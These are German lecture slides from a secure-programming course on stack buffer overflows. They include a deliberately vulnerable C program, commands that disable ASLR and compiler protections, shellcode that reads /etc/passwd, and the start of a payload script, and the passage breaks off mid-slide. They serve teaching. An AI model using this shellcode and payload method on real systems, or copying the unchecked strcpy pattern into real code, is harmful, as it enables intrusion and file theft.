Sichere Programmierung Lerneinheit 2: Buffer Overflows Prof. Dr. Christoph Karg Studiengang Informatik Hochschule Aalen Sommersemester 2017 9.5.2017 Vorbereitung Vorbereitung • Für den praktischen Teil der Vorlesung wird eine Virtuelle Maschine benötigt. • Voraussetzung für den Betrieb der Virtuellen Maschine ist ein 64-Bit Betriebssystem mit installierter VirtualBox Software. • Die Virtuelle Maschine steht über Dropbox zum Download bereit. • Der Download wird gestartet, indem man auf dieses Wort klickt. • Das Passwort für den Zugang lautet rae0wahKoo]T. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 2 / 73 Einleitung Einleitung Diese Lerneinheit beschäftigt sich mit Buffer Overflows. Folgende Themen werden bearbeitet: • Linux für die AMD/Intel 64-Bit Architektur • Einführung in Assembler • Debugging mit GDB • Analyse von C Programmen • Buffer Overflows • Erstellen von Shellcode Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 3 / 73 64-Bit Linux für x86 Architektur 64-Bit Linux für die x86 Architektur • Der Linux Kernel unterstützt seit der Version 2.6 64-Bit Prozessoren. • Die 64-Bit Prozessorarchitektur wurde von AMD entwickelt (AMD64) und von Intel lizenziert. • Eigenschaften eines 64-Bit Prozessors: ▷ Die Register des Prozessors haben eine Wortlänge von 64 Bit. ▷ Der Prozessor kann Hauptspeicher mit einer Größe von maximal 264 Byte adressieren. • 64-Bit Prozessoren von AMD und Intel sind abwärtskompatibel zu ihren 32- und 16-Bit Vorgängern. • Alle gängigen Linux Distributionen gibt es in einer 64-Bit Version. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 4 / 73 64-Bit Linux für x86 Architektur x86-64 Prozessoren x86-64 Prozessoren • x86-64 (x64 oder AMD64) ist die 64-Bit Version des Befehlssatzes für x86 Prozessoren. • x86-64 ist vollständig abwärtskompatibel zu x86-32 und x86-16. • Ein x86-64 Prozessor besitzt eine Vielzahl von Registern, die für diverse Aufgaben vorgesehen sind. • Bei x86-64 Prozessoren handelt es sich um Complex Instruction Set Computer (CISC), die eine Vielzahl von Maschinensprachebefehlen beherrschen. • Intel stellt für seine Prozessoren und die zugehörige Plattform eine umfangreiche Dokumentation bereit [Int16]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur Buffer Overflows 5 / 73 x86-64 Prozessoren Little-Endian Byte Order • Intel Prozessoren verwenden zur Darstellung von Zahlen die Little-Endian Anordnung der Bytes. • Bei Little-Endian steht das niederwertigste Byte einer Zahl am Anfang des der Zahl zugeordneten Byteblocks. • Beispiel: Die Zahl 305419896 (0x12345678) wird beim Datentyp long (4 Byte) wie folgt im Speicher abgelegt: 0x78 Prof. Dr. C. Karg (HS Aalen) 0x56 0x34 Sichere Programmierung 0x12 Buffer Overflows 6 / 73 64-Bit Linux für x86 Architektur x86-64 Prozessoren Darstellung des Hauptspeichers Größste Adresse 24 16 12 8 Byte Offset 20 4 Byte 3 31 Byte 2 24 23 Byte 1 Byte 0 16 15 8 7 0 Bit Offset Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur 0 Kleinste Adresse Buffer Overflows 7 / 73 x86-64 Prozessoren Fundamentale Datentypen 7 0 Byte 0 15 31 63 87 0 High Byte Low Byte 1 0 16 15 0 High Word Low Word 3 1 2 0 High Doubleword 6 5 Prof. Dr. C. Karg (HS Aalen) Quadword (8 Byte) Low Doubleword 4 Doubleword (4 Byte) 0 32 31 7 Word (2 Byte) 3 2 1 Sichere Programmierung 0 Buffer Overflows 8 / 73 64-Bit Linux für x86 Architektur x86-64 Prozessoren Register eines x86-64 Prozessors Register zur Ausführung von Programmen: • General-Purpose Register ⇝ Speicherung von Operanden und Zeigern • Segment Register ⇝ Auswahl von Speichersegmenten • EFLAGS Register ⇝ Abfrage des Status des ausgeführten Programms und Steuerung des Prozessors • EIP Register ⇝ Register zur Speicherung der Adresse des nächsten auszuführenden Maschinensprachebefehls Weitere Register: • x87 FPU Register ⇝ Arbeit mit dem arithmetischen Coprozessor • MMX und XMM Register ⇝ Register für parallele Verarbeitung von Ganz- und Fließkommazahlen Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur Buffer Overflows 9 / 73 x86-64 Prozessoren 32-Bit General-Purpose Register • Im 32-Bit Modus stehen die Register EAX, EBX, ECX, EDX, ESI, EDI, EBP und ESP zur Verfügung. • Im 64-Bit Modus stehen die Register RAX, RBX, RCX, RDX, RSI, RDI, RBP, und RSP sowie R8 bis R15 zur Verfügung. • In den Registern werden folgende Informationen gespeichert: ▷ Operanden für logische und arithmetische Operationen ▷ Operanden für die Berechnung von Speicheradressen ▷ Zeiger auf Speicheradressen • Die Register kann man mit verschiedenen Wortlängen verwenden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 10 / 73 64-Bit Linux für x86 Architektur x86-64 Prozessoren Verwendungszweck der Register • EAX ⇝ Akkumulator für Operanden und Ergebnisse von Berechnungen • EBX ⇝ Zeiger auf Daten im DS Segment • ECX ⇝ Zähler für Stringoperationen und Schleifen • EDX ⇝ I/O Pointer • ESI ⇝ Zeiger auf eine String Source • EDI ⇝ Zeiger auf eine String Destination • ESP ⇝ Stack Pointer • EBP ⇝ Zeiger auf Daten im Stack (Analog für 64-Bit Register) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur Buffer Overflows 11 / 73 System V Application Binary Interface System V Application Binary Interface • Das System V Application Binary Interface (ABI) legt eine UNIX Systemschnittstelle für kompilierte Anwendungssoftware fest [San97a]. • Das AMD64 ABI ist eine Spezifikation für den Aufbau von Programmen für die AMD64 Architektur [Hub+13]. • Das AMD64 ABI ist eine Erweiterung/Anpassung des Intel386 ABI [San97b]. • Das ABI wurde für die Programmiersprache C erstellt. • Es werden unter unterem folgende Punkte standardisiert: ▷ Nutzung der Register für Funktionsaufrufe ▷ Verwaltung des Stacks ▷ Schnittstelle zum Betriebssystem ▷ Aufbau der Objektdateien (ELF Format) ▷ Aufbau von Systembibliotheken Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 12 / 73 64-Bit Linux für x86 Architektur System V Application Binary Interface Linux System Calls • Bei einem Intel 64-Bit System nutzt man System-Calls, um auf Funktionen des Betriebssystems zuzugreifen. • Ein System-Call wird mit dem Maschinenbefehl syscall ausgeführt. • Die Nummer des auszuführenden System-Calls wird in im Register RAX gespeichert. • Die Parameter eines System-Calls werden über die Register RDI, RSI, RDX, R8, R9 und R10 übergeben. • Der Rückgabewert des System-Calls befindet sich im Register RAX. • Im Linux Kernel sind die System-Calls standardisiert. • Unter [Cha16] findet man eine Liste aller Systemfunktionen des Linux 64-Bit Kernels. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur Buffer Overflows 13 / 73 Speichermanagement Speichermanagement • Bei modernen Betriebssystemen kommt ein virtuelles Speichermanagement zum Einsatz. • Jedem Prozess wird ein separater Speicherbereich zugewiesen, der aus Sicht des Prozesses aus einem zusammenhängenden Block besteht. • Die Abbildung auf den physikalischen Speicher übernimmt das Betriebssystem. • Der Adressraum eines Speicherbereichs wird aufgeteilt in: ▷ Text Segment ⇝ Speicherung des Programms ▷ Stack Segment ⇝ Speicherung von lokalen Variablen, Übergabeparametern und Rücksprungadressen ▷ Heap Segment ⇝ Dynamische Speicherverwaltung Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 14 / 73 64-Bit Linux für x86 Architektur Speichermanagement Speicherlayout Programmcode Wachstum Dynamische Speicherverwaltung Stack Segment Wachstum Lokale Variablen, Übergabeparameter, Rücksprungadressen Heap Segment Read Only 0xffffffff Text Segment 0x00000000 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur Buffer Overflows 15 / 73 Buffer Overflows 16 / 73 Speichermanagement Aufbau eines Stack Frames 8 Byte Vorheriger Frame rbp + 8 rbp rbp − 8 Rücksprungadresse Alter Wert von rbp Daten verschiedener Art (variable Größe) rsp Red Zone rsp − 128 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung 64-Bit Linux für x86 Architektur Speichermanagement Aufbau eines Stack Frames – Erläuterungen • Der Stack wächst von der höchsten Adresse in Richtung der niederwertigsten Adresse. • Der Stack wird zur Speicherung von Rücksprungadressen, Funktionsparametern und lokalen Variablen verwendet. • Bei einem Funktionsaufruf wird ein Stack Frame auf den Stack gelegt. Beim Beenden der Funktion wird der Frame wieder entfernt. • Die im RSP Register gespeicherte Höhe des Stacks muss ein Vielfaches von 16 sein. • Unterhalb des aktuellen Stack Frames befindet sich die Red Zone. Dieser Speicherbereich ist für interne Zwecke“ reserviert. ” • Weitere Details findet man in [Hub+13]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 17 / 73 Assemblersprache Assemblersprache • Assembler ist eine maschinennahe Programmiersprache, die direkt auf dem Befehlssatz eines Prozessors aufsetzt. • Viele Compiler von höheren Programmiersprachen liefern Assemblercode als Zwischenprodukt. • Bei Intel Prozessoren gibt es zwei Assembler Varianten: ▷ AT&T Notation ⇝ Einsatz im GNU Assembler ▷ Intel Notation ⇝ Einsatz bei NASM • Die AT&T und die Intel Notation unterscheiden sich an diversen Stellen. Weitere Details findet man [Nar07]. • In dieser Lerneinheit wird die Intel Notation verwendet. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 18 / 73 Assemblersprache Hello World! Assembler Programm Hello World!“ ” 1 2 3 section .data HelloMsg: db 10,"Hello␣World!" ,10 HelloLen: equ $-HelloMsg 4 5 6 section .text global _start 7 8 9 10 11 12 13 _start: mov mov mov mov syscall rax , rdi , rsi , rdx , 1 1 HelloMsg HelloLen 14 15 16 17 mov rax , 60 mov rdi , 0 syscall Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Assemblersprache Buffer Overflows 19 / 73 Hello World! Aufbau des Assembler Programms • Ein Assembler Programm besteht aus mehreren Abschnitten (Sections/Segmente). • Der Abschnitt data enthält statische initialisierte Variablen. • Der Abschnitt rodata enthält statische initialisierte Konstanten. • Der Abschnitt text enthält das Programm. • Der Abschnitt bss enthält statische nicht initialisierte Variablen. • Neben den genannten existieren noch weitere Abschnitte. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 20 / 73 Assemblersprache Hello World! Die Data Sektion • Die Data Sektion enthält Datenblöcke, die mit den vorgegebenen Werten initialisiert werden. • Die Data Sektion ist schreibbar, d.h., die Variablen können vom Programm geändert werden. • Die Daten sind anhand ihres Typs initialisierbar: ▷ db ⇝ Folge von Bytes (String) ▷ dw ⇝ Folge von Wörtern (mit je 2 Byte) ▷ dd ⇝ Folge von Doppel-Wörtern (mit je 4 Byte) • Fließkommazahlen werden automatisch in das passende Format konvertiert. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Assemblersprache Buffer Overflows 21 / 73 Hello World! Die Text Sektion • • • • • Die Text Sektion enthält das Assemblerprogramm. Jede Zeile enthält einem Befehl mit zugehörigen Operanden. Eine Zeile kann mit einer Sprungmarke versehen werden. Kommentare beginnen mit einem Semikolon (;). In dieser Lerneinheit wird die Intel Notation verwendet. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 22 / 73 Assemblersprache Hello World! Im Programm benutzte System-Calls System-Call sys_write: • Funktion: Schreiben von Daten in eine Datei. • Parameter: ▷ RAX: 1 (Nummer des System-Calls) ▷ RDI: File Descriptor (1 ⇝ stdout) ▷ RSI: Zeiger auf die Daten ▷ RDX: Anzahl der zu schreibenden Bytes System-Call sys_exit: • Funktion: Verlassen des Programms. • Parameter: ▷ RAX: 60 (Nummer des System-Calls) ▷ RDI: Rückgabewert (Fehlercode) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Assemblersprache Buffer Overflows 23 / 73 Hello World! Übersetzen des Assembler Programms Folgende Schritte sind zum Ausführen des Programms notwendig: 1. Assemblieren (inklusive Debugging Informationen): > nasm -f elf64 -F dwarf -g hello64bit.asm 2. Linken: > ld -o hello64bit hello64bit.o 3. Ausführen: > ./ hello64bit Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 24 / 73 Assemblersprache Debugging mit GDB Debugging mit GDB • Der GNU Debugger (GDB) ist der Standard-Debugger des GNU Projekts. • GDB ist ein kommandozeilenorientiertes Werkzeug. • GDB wird als Backend in Entwicklungsumgebungen wie z.B. Eclipse benutzt. • GDB unterstützt das Debugging von höheren Programmiersprachen wie C, C++ und Fortran. • Um Programme zu debuggen, sollte der entsprechende Quellkode mit Debugging Informationen übersetzt werden. • Unter [GDB13] findet man umfangreiche Dokumentationen zu GDB, insbesondere das GDB Handbuch [SPS10]. • Das GDB Cheatsheet beinhaltet die wichtigsten GDB Befehle [Hai13]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 25 / 73 Analyse von C Programmen Analyse von C Programmen • Die Programmiersprache C ist die bevorzugte Sprache zur Entwicklung von systemnahen Linux Anwendungen. • Die C Standardbibliothek stellt eine Vielzahl von Funktionen zur Arbeit mit dem Betriebssystem zur Verfügung. • Mit der GNU Compiler Collection (GCC) stehen leistungsfähige Werkzeuge für die Programmierung in C und C++ zur Verfügung. • GCC ist in jeder Linux Distribution enthalten. • Darüber hinaus gibt es zahlreiche Werkzeuge, um C Programme und den zugehörigen Binärkode zu analysieren. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 26 / 73 Analyse von C Programmen Ziel hinter Analyse Ziel: Analyse der Codeerzeugung des GCC Compilers. Zu klärende Fragen: • Wie ist ein von GCC erzeugtes Programm prinzipiell aufgebaut? • Wie werden lokale Variablen verarbeitet? • Wie läuft ein Funktionsaufruf ab? Werkzeuge: • GCC • GDB • Objdump Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Analyse von C Programmen Buffer Overflows 27 / 73 Buffer Overflows 28 / 73 Hello World C Programm Hello World!“ ” Code: helloworld.c 1 #include <stdio.h> 2 3 4 5 6 int main () { printf("Hello␣World!"); return 0; } Übersetzen (mit Debug Infos): $ gcc -g -c helloworld.c $ gcc -o helloworld helloworld.o Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Analyse von C Programmen Hello World Analyse der Binärdatei • Das Werkzeug objdump ist für die Analyse von Binärdateien vorgesehen. • Aufruf: objdump <option(s)> <file(s)> • Nützliche Parameter: ▷ -d ⇝ Disassemblieren der ausführbaren Teile der Datei ▷ -D ⇝ Disassemblieren der kompletten Datei ▷ -M "intel" ⇝ Ausgabe von Assember in der Intel Notation ▷ -S ⇝ Quellkode mit Assemblerkode kombinieren ▷ -s ⇝ Inhalt aller Abschnitte der Datei ausgeben ▷ -j <section> ⇝ Anzeige des Abschnitts section Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Analyse von C Programmen Buffer Overflows 29 / 73 Hello World Analyse von helloworld Befehle: $ $ $ $ objdump -s -j .rodata helloworld.o objdump -d -M "intel" -S helloworld.o objdump -d -M "intel" -S helloworld gdb helloworld Bemerkungen: • In der Objektdatei fehlen die korrekten Adressen. • Die printf-Funktionen wird durch einen Sprungbefehl betreten, der Code wird beim Linken adressiert. • Im ausführbaren Programm ist zusätzlicher Code für die Nutzung der C-Bibliotheken enthalten. • Die Ausführung von main() ist ein Funktionsaufruf, bei dem ein Stackframe erzeugt wird. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 30 / 73 Analyse von C Programmen Kommandozeilenparameter Übergabe von Kommandozeilenparametern Code: cmdline.c 1 #include <stdio.h> 2 3 int main( int argc , char *argv [] ) { 4 printf("&argc␣=␣%p\n", &argc ); printf("&argv␣=␣%p\n", &argv ); 5 6 7 if( argc == 2 ) { printf("argv [1]␣=␣%s\n", argv [1]); } else { printf("Bitte␣ein␣Argument␣übergeben .\n"); } 8 9 10 11 12 13 14 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Analyse von C Programmen Buffer Overflows 31 / 73 Kommandozeilenparameter Analyse von cmdline Befehle: $ $ $ $ objdump -s -j .rodata cmdline.o objdump -d -M "intel" -S cmdline.o objdump -d -M "intel" -S cmdline gdb cmdline Bemerkungen: • Die Kommandozeilenparameter werden als ein Array von Strings übergeben. • Die Daten befinden sich unten im Stack, unterhalb des ersten Stack Frames. • Die Formatierungsstrings des Befehls printf befinden sich im .rodata Segment. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 32 / 73 Analyse von C Programmen Lokale Variablen Lokale Variablen Code: calc.c 1 #include <stdio.h> 2 3 4 5 6 int main () { long a=4; long b=9; long c = 17*a + ((13-b)/2 * (5+a)); 7 printf("a␣=␣%ld ,␣b␣=␣%ld ,␣c␣=␣%ld\n", a, b, c); return 0; 8 9 10 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Analyse von C Programmen Buffer Overflows 33 / 73 Lokale Variablen Analyse von calc Befehle: $ $ $ $ objdump -s -j .rodata calc.o objdump -d -M "intel" -S calc.o objdump -d -M "intel" -S calc gdb calc Bemerkungen: • Die lokalen Variablen werden im aktuellen Stack Frame gespeichert. • Der Compiler optimiert den arithmetischen Ausdruck. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 34 / 73 Analyse von C Programmen Funktionsaufrufe Funktionsaufrufe Code: functioncall.c 1 #include <stdio.h> 2 3 4 5 6 7 int f(int int { int x int y a, int b, int c, int d, e, int f, int g, int h) = a + b + c + d; = e + f + g + h; 8 return x+y; 9 10 } 11 12 13 int main () { int z = f(1,2,3,4,5,6,7,8); 14 printf("z␣=␣%u\n", z); return 0; 15 16 17 } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Analyse von C Programmen Buffer Overflows 35 / 73 Funktionsaufrufe Analyse von functioncall Befehle: > > > > objdump -s -j .rodata functioncall.o objdump -d -M "intel" -S functioncall.o objdump -d -M "intel" -S functioncall gdb functioncall Bemerkungen: • Die ersten sechs Parameter der Funktion werden über die Register übergeben. • Alle weiteren Parameter werden über den Stack übergeben. • Das Ergebnis des Funktionsaufrufs wird über das RAX Register zurückgegeben. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 36 / 73 Buffer Overflows Buffer Overflows Ziel: Einschleusen und Ausführen von Schadcode über ein kompiliertes C-Programm. Beobachtung: • Wird ein C-Programm ausgeführt, dann befindet sich zu jedem Zeitpunkt der Ausführung mindestens ein Stack Frame auf dem Stack. • Die in einem Stack Frame gespeicherte Rücksprungadresse befindet sich im Hauptspeicher hinter den lokalen Variablen. Ansatz: Ausführen eines Buffer Overflows, d.h., Überschreiben der Rücksprungadresse durch Schreiben einer zu großen Datenmenge in eine lokale String Variable. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 37 / 73 Buffer Overflows Herangehensweise 1. Entwicklung eines geeigneten C-Programms 2. Deaktivierung der Sicherheitseinstellungen in Linux 3. Entwicklung eines einfachen Schadkodes Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 38 / 73 Buffer Overflows Entwicklung eines passenden C-Programms Entwicklung eines passenden C-Programms Vorgaben: • Das Programm muss eine lokale String Variable besitzen. • Das Programm muss eine Eingabe des Benutzers in die lokale Variable kopieren. • Die Eingabe des Nutzers wird über die Kommandozeile übergeben. Umsetzung: ⇝ hackme.c (siehe nächste Folie) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 39 / 73 Entwicklung eines passenden C-Programms Programm hackme.c Code: hackme.c 1 2 #include <stdio.h> #include <string.h> 3 4 5 void print(char* s) { char buffer [200]; 6 strcpy(buffer , s); printf("Anfang␣von␣buffer:␣%p\n", buffer ); printf("Inhalt␣von␣buffer:␣%s\n", buffer ); 7 8 9 10 } 11 12 13 14 15 16 17 18 19 int main(int argc , char ** argv) { if (argc == 2) { print(argv [1]); } else { printf("Bitte␣ein␣Argument␣übergeben .\n"); } return 0; } Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 40 / 73 Buffer Overflows Entwicklung eines passenden C-Programms Programm hackme.c (Forts.) Übersetzen: > gcc -g -o hackme hackme.c Bemerkungen: • Bei der Nutzung der strcpy Funktion wird nicht überprüft, ob die zu kopierenden Daten in den Buffer passen. • Idee: Kopiere mehr Daten als der Buffer aufnehmen kann und analysiere die Auswirkungen. • Die zu kopierenden Daten werden mit einem Python Skript erzeugt. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 41 / 73 Entwicklung eines passenden C-Programms Idee hinter dem Buffer Overflow • Beim Aufruf der Funktion print() wird ein neuer Stack Frame angelegt. • Im Stack Frame befindet sich der Speicher der lokalen Variable buffer unterhalb der Rücksprungadresse (siehe nächste Folie). • Vor Ausführung des strcpy Befehls wird nicht überprüft, ob der zu kopierende String s eine Länge von höchstens 200 Byte hat. • Durch einen zu langen String kann man die Rücksprungadresse überschreiben. • Enthält dieser String ausführbaren Code und wird die Rücksprungadresse passend überschrieben, dann wird dieser Code ausgeführt (siehe übernächste Folie). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 42 / 73 Buffer Overflows Entwicklung eines passenden C-Programms Idee hinter dem Buffer Overflow (Forts.) rbp + 8 rbp rbp − 8 Rücksprungadresse Alter Wert von rbp buffer &buffer rsp Red Zone Stack Frame nach Aufruf von print() 8 Byte rsp − 128 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 43 / 73 Entwicklung eines passenden C-Programms Idee hinter dem Buffer Overflow (Forts.) rbp + 8 rbp rbp − 8 Rücksprungadresse &buffer Alter Wert von rbp Shellcode (mit passendem Padding) buffer &buffer rsp Red Zone Stack Frame nach Aufruf von print() 8 Byte rsp − 128 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 44 / 73 Buffer Overflows Entwicklung eines passenden C-Programms Skript printA.py Code: printA.py #! /usr/bin/env python2 import sys default_size =200 if len(sys.argv)==2: size=int(sys.argv [1]) if (size <0): size=default_size else: size=default_size print "A"*size Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 45 / 73 Entwicklung eines passenden C-Programms Ausführen des Skripts Benutzung des Skripts: > hackme `printA.py 200` Alternativ: > hackme $(printA.py 200) Beobachtung: • Die Adresse von buffer ändert sich mit jedem Aufruf. • Dies ist ein Indiz, dass im Linux Kernel Address Space Layout Randomization (ASLR) aktiviert ist. • ASLR ist eine Schutzfunktion gegen Exploits wie z.B. Buffer Overflows. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 46 / 73 Buffer Overflows Deaktivieren von Sicherheitsmechanismen ASLR deaktivieren • Der aktuelle Zustand der ASLR Konfiguration kann über die Datei /proc/sys/kernel/randomize_va_space ausgelesen und geändert werden. • Arten der Randomisierung: ▷ 0 ⇝ ASLR deaktiviert ▷ 1 ⇝ Moderate Randomisierung ▷ 2 ⇝ Komplette Randomisierung • Befehl zum Deaktivieren von ASLR: root > echo "0" > /proc/sys/kernel/ randomize_va_space Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 47 / 73 Deaktivieren von Sicherheitsmechanismen Abschalten weiterer Sicherheitsmechanismen • Der GCC Compiler baut diverse Sicherheitsfunktionen in das ausführbare Programm ein. • Beispiele: ▷ Der Stack Protector erkennt Stack Smashing Attacken und bricht das Programm ab. ▷ Es wird die Ausführung von Code verhindert, der sich im Stack Segment befindet. • Diese Sicherheitsfunktionen lassen sich zur Compiler-Optionen deaktivieren. Befehl: > gcc -g -fno -stack -protector -z execstack -o hackme hackme.c Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 48 / 73 Buffer Overflows Shellcode Entwicklung des Shellcode • Ein Shellcode ist ein kleines Assembler Code Fragment. • Ursprünglich wurde Shellcode verwendet, um eine Shell mit Root Zugriff zu starten. • Ein Shellcode darf keine Null Bytes enthalten, da er als String übertragen wird. • Da ein Shellcode über Umwege“ ausgeführt wird, müssen die ” Daten geschickt bereitgestellt werden. • Eine der ersten Anleitungen zur Erstellung von Shellcodes stammt von AlephOne [One96]. • Dieser Teil der Vorlesung basiert auf der Anleitung von Mr. Un1k0d3r [Un114]. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 49 / 73 Buffer Overflows 50 / 73 Shellcode Aufbau des Shellcodes 1 2 3 4 BITS 64 ; Author Mr. Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x86_64 Shellcode ; Shellcode size 82 bytes 5 6 global _start 7 8 section .text 9 10 11 _start: jmp _push_filename 12 13 14 15 16 17 _readfile: ; syscall open file pop rdi ; pop path value ; NULL byte fix xor byte [rdi + 11], 0x41 Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Shellcode Aufbau des Shellcodes (Forts.) 19 20 21 22 xor rax ,rax add al ,2 xor rsi ,rsi ; set 0_RDONLY flag syscall 23 24 25 26 27 28 29 30 31 ; syscall read file sub sp ,0 xfff lea rsi ,[rsp] mov rdi ,rax xor rdx ,rdx mov dx ,0 xfff ; size to read xor rax ,rax syscall Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 51 / 73 Buffer Overflows 52 / 73 Shellcode Aufbau des Shellcodes (Forts.) 33 34 35 36 37 38 39 ; syscall write to stdout xor rdi ,rdi add dil ,1 ; set stdout fd = 1 mov rdx ,rax xor rax ,rax add al ,1 syscall 40 41 42 43 44 ; syscall exit xor rax ,rax add al ,60 syscall 45 46 47 48 _push_filename: call _readfile path: db "/etc/passwdA" Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Shellcode Analyse des Shellcodes • Der Shellcode gibt den Inhalt der Datei /etc/password aus. • Der Code teilt sich in fünf Teile auf: 1. Berechnung der Adresse, ab der der Dateiname gespeichert ist (Zeilen 10–11, 46–48, 11) 2. Öffnen der Datei (Zeilen 14–22) 3. Auslesen der Datei (Zeilen 25–31) 4. Ausgabe der Datei (Zeilen 33–39) 5. Beenden des Programms (Zeilen 41–44) • Es kommen mehrere System Calls zum Einsatz. • Die Adresse des Datenblocks wird über den Stack (Rücksprungadresse) ermittelt. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 53 / 73 Shellcode Übersetzen des Shellcodes (Variante 1) 1. Assemblierung des Shellcodes: > nasm -f elf64 un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.o 2. Extrahieren des Shellcodes und Ausgabe als String: > for i in $(objdump -d un1k0d3r -shellcode.o \ | grep "^␣" | cut -f2); do \ echo -n '\x'$i; done; echo Hinweis: Nach dem Backslash muss <Enter> eingegeben werden. Alternativ kann man den kompletten Befehl auch in eine Zeile schreiben. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 54 / 73 Buffer Overflows Shellcode Übersetzen des Shellcodes (Variante 2) 1. Assemblierung des Shellcodes: > nasm -f bin un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.bin 2. Ausgabe des Shellcodes: > dumpshellcode.py un1k0d3r -shellcode.bin Bemerkungen: • Das Python Skript befindet sich auf der nächsten Folie. • Bei dieser Variante liegt der Shellcode in binärer Form vor und kann auf verschiedene Arten weiter verarbeitet werden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 55 / 73 Buffer Overflows 56 / 73 Shellcode Skript dumpshellcode.py #! /usr/bin/env python2 import sys if len(sys.argv)!=2: print "Usage:", sys.argv [0], "<filename >" sys.exit (1) f=open(sys.argv [1], "r") shellcode=bytearray(f.read ()) f.close () s="" for b s print print in shellcode: += "\\x{0:02x}".format(b) s "\nShellcode␣length:", len(shellcode), "Byte" Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Shellcode Ergebnis Shellcode: \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02 \x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d \x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f \x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01 \x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31 \xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65 \x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 Länge: 82 Byte Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 57 / 73 Shellcode Einbetten des Shellcodes Probleme: • Der Shellcode ist mi 82 Byte zu kurz, um einen Buffer Overflow für die lokale Variable buffer zu erzeugen. • Der Shellcode enthält keine Sprungadresse und ist somit noch nicht einsetzbar. Ansatz: Entwicklung eines Python Skripts, welches • den Shellcode mittels Padding so verlängert, dass ein Buffer Overflow auftritt, und • am Ende eine passende Rücksprungadresse anfügt, um den Shellcode zu starten. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 58 / 73 Buffer Overflows Shellcode Skript un1k0d3r-payload.py #! /usr/bin/ python2 import sys if len(sys.argv)==3: size=int(sys.argv [1]) if size <0: print "Invalid␣padding␣size:", size , "␣(must␣be␣ >=0)" address=sys.argv [2]. decode("hex") address=address [:: -1] else: print "Usage:", sys.argv [0], "<padding␣size >␣<address >" print "\npadding␣size:␣size␣of␣the␣padding␣[bytes]" print "␣address␣␣␣␣:␣return␣address␣(hex)\n\n" Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer 